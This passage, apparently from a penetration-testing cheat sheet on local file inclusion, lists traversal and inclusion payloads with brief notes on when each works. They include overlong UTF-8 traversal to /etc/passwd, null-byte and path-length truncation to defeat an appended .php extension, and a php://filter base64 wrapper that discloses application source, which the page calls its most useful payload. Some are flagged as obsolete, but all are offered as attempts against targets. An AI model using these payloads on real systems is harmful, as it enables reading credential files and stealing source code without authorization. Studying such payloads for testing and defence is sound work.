If you get a 200 with an empty body rather than an error, you may be reading the file successfully into somewhere you can't see. Try /etc/hostname, which is short enough that a length change is obvious.
..%c0%af..%c0%afetc/passwdOverlong UTF-8. Rejected by every current decoder — worth one attempt against old Java or an embedded device, and nothing else.
Anything that says %c0%af is a live technique is copying a write-up from 2005. The UTF-8 specification requires decoders to reject overlong sequences, and Java, .NET, PHP and Python all do.
03Getting round an appended extension
The app does include($_GET['p'] . '.php') and your filename gets a suffix.
EXTENSION APPENDING6
/etc/passwd%00Null byte truncation. Fixed in PHP 5.3.4 — dead on anything supported, still worth one try on genuinely old stacks.
....//....//etc/passwd/././././././././././././././././././././././././././.Path-length truncation. Also long dead, and it needed thousands of characters.
Almost always the answer here is not to defeat the extension but to accept it and read a .php file with a PHP wrapper instead. See below.
04PHP wrappers
Where inclusion turns into source disclosure or execution.
PHP WRAPPERS6
php://filter/convert.base64-encode/resource=index.phpReturns the file base64-encoded, so the PHP never executes and you get the source. The single most useful payload on this page.